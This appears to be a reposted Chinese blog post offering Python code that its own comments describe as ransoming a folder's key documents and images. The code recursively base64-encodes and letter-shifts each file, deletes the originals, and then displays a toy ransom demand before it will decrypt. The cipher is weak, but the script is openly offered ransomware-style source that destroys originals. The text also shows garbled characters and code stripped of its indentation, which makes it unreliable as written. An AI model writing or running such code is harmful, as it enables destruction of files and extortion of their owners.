? 這個代碼實現(xiàn)了對文件夾內(nèi)指定類型文件的加密和解密操作,使用了base64庫對文件進(jìn)行加密和解密,使用os模塊進(jìn)行遍歷目錄,判斷文件類型,并進(jìn)行加密和解密操作,最后實現(xiàn)了文件刪除和寫入操作文章來源:http://www.zghlxwxcb.cn/news/detail-641420.html
代碼實例:文章來源地址http://www.zghlxwxcb.cn/news/detail-641420.html
import base64,os
# 對一個文件進(jìn)行勒索,怎么對文件夾進(jìn)行勒索
# 聯(lián)系:對某些目錄下關(guān)鍵文件:word xls docx ppt pptx rar jpg png txt
import base64,os
# 對指定文件進(jìn)行加密
def ransom_enypt(filepath):
# filepath = input("請輸入文件路徑:")
with open(filepath, 'rb') as file:
data = file.read()
source = base64.b64encode(data).decode()
# 對字符串加密 右移5位
result = ''
for i in source:
if ord(i) in range(97, 123) or ord(i) in range(65, 91): # 判斷i是小寫或者大寫字母,統(tǒng)一右移五位
result += chr(ord(i)+5)
else:
result += i
os.remove(filepath) # 刪除源文件
with open(filepath+'.enc', 'w') as file: # 加上后綴重新寫入文件
file.write(result)
# ransom_enypt()
# 對指定文件進(jìn)行解密
def ransom_deypt(filepath):
with open(filepath, 'r') as file:
data = file.read()
result = ''
for i in data:
if ord(i) in range(102, 128) or ord(i) in range(70, 96): # 解密 向左減5
result += chr(ord(i) - 5)
else:
result += i
result = base64.b64decode(result)
os.remove(filepath)
with open(filepath.replace('.enc', ''), 'wb') as file:
file.write(result)
# 對文件夾進(jìn)行加密或解密
def dir_crypt(dirpath,type='encode'):
dirs = os.listdir(dirpath)
for filename in dirs:
filename = os.path.join(dirpath, filename)
# 判斷是目錄還是文件
if os.path.isdir(filename):
dir_crypt(filename, type)
# 如果是文件,根據(jù)type的值進(jìn)行加減密
else:
if type == 'encode':
ransom_enypt(filename)
elif type == 'decode':
ransom_deypt(filename)
else:
raise Exception("type error")
if __name__ == '__main__':
# ransom_enypt('./name/1.png')
# print("文件已加密,解密請扣666")
# num = int(input("請輸入:"))
# if num == 666:
# ransom_deypt('./name/1.png.enc')
# print("解鎖成功~")
# else:
# print("不扣不解")
# 加解密文件夾
dir_crypt('./ceshi')
print("文件夾被鎖了,解密請扣999")
num = int(input("請輸入:"))
if num == 999:
dir_crypt('./ceshi', type='decode')
print("解鎖成功~")
else:
print("不扣不解")
到了這里,關(guān)于Python實現(xiàn)對文件或文件夾的加密/解密的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!